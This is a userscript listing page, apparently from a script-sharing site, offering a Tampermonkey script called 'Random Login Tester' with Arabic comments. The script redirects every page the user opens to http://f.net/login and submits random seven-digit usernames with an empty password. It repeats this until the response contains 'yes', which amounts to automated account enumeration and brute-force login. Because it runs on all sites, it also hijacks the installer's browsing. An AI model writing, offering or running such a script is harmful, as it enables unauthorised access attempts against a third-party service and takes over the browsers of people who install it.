Random Login Tester

يولد أرقام عشوائية ويختبرها حتى يظهر "yes"

您需要先安裝使用者腳本管理器擴展,如 TampermonkeyGreasemonkeyViolentmonkey 之後才能安裝該腳本。

You will need to install an extension such as Tampermonkey to install this script.

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyViolentmonkey 後才能安裝該腳本。

您需要先安裝使用者腳本管理器擴充功能,如 TampermonkeyUserscripts 後才能安裝該腳本。

你需要先安裝一款使用者腳本管理器擴展,比如 Tampermonkey,才能安裝此腳本

您需要先安裝使用者腳本管理器擴充功能後才能安裝該腳本。

(我已經安裝了使用者腳本管理器,讓我安裝!)

Advertisement:

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展,比如 Stylus,才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

你需要先安裝一款使用者樣式管理器擴展後才能安裝此樣式

(我已經安裝了使用者樣式管理器,讓我安裝!)

Advertisement:

// ==UserScript==
// @name         Random Login Tester
// @namespace    https://viayoo.com/wl4o24
// @version      0.1
// @description  يولد أرقام عشوائية ويختبرها حتى يظهر "yes"
// @author       You
// @run-at       document-end
// @match        https://*/*
// @match        http://*/*
// @grant        none
// ==/UserScript==

(function() {
    'use strict';

    // توليد رقم عشوائي بين 2000000 و 2999999
    function generateRandomNumber() {
        return Math.floor(Math.random() * 1000000) + 2000000;
    }

    // التحقق من وجود "yes" أو "no" في الصفحة
    function checkPageAndAct() {
        const bodyText = document.body.innerText;
        const yesRegex = /\byes\b/i;   // كلمة yes كاملة (غير حساسة لحالة الأحرف)
        const noRegex = /\bno\b/i;     // كلمة no كاملة

        if (yesRegex.test(bodyText)) {
            console.log('تم العثور على "yes" - توقف.');
            return 'yes';
        } else if (noRegex.test(bodyText)) {
            console.log('تم العثور على "no" - إعادة المحاولة برقم جديد.');
            return 'no';
        }
        return null; // لم يُعثر على أي منهما
    }

    // عنوان الصفحة الحالي
    const currentUrl = window.location.href;

    // هل نحن في صفحة نتيجة المحاولة؟
    if (currentUrl.includes('f.net/login?username=')) {
        // فحص فوري
        let result = checkPageAndAct();

        if (result === 'yes') {
            return; // توقف
        } else if (result === 'no') {
            // توليد رقم جديد والتوجيه
            const newNumber = generateRandomNumber();
            window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            return;
        }

        // إذا لم نجد لا "yes" ولا "no" (قد يكون المحتوى لم يتحمّل بعد)
        let attempts = 0;
        const maxAttempts = 10; // 10 محاولات (كل 500 مللي)

        const intervalId = setInterval(function() {
            attempts++;
            const res = checkPageAndAct();

            if (res === 'yes') {
                clearInterval(intervalId);
                return;
            } else if (res === 'no') {
                clearInterval(intervalId);
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
                return;
            }

            // انتهت المحاولات دون نتيجة – نعتبر الحالة "no" ونعيد المحاولة
            if (attempts >= maxAttempts) {
                clearInterval(intervalId);
                console.warn('لم يُعثر على "yes" أو "no" بعد المهلة، نفترض "no".');
                const newNumber = generateRandomNumber();
                window.location.href = `http://f.net/login?username=${newNumber}&password=&var=callBack`;
            }
        }, 500);
    } else {
        // الصفحة الأولى (ليست صفحة تسجيل الدخول) – نبدأ العملية
        const firstNumber = generateRandomNumber();
        window.location.href = `http://f.net/login?username=${firstNumber}&password=&var=callBack`;
    }
})();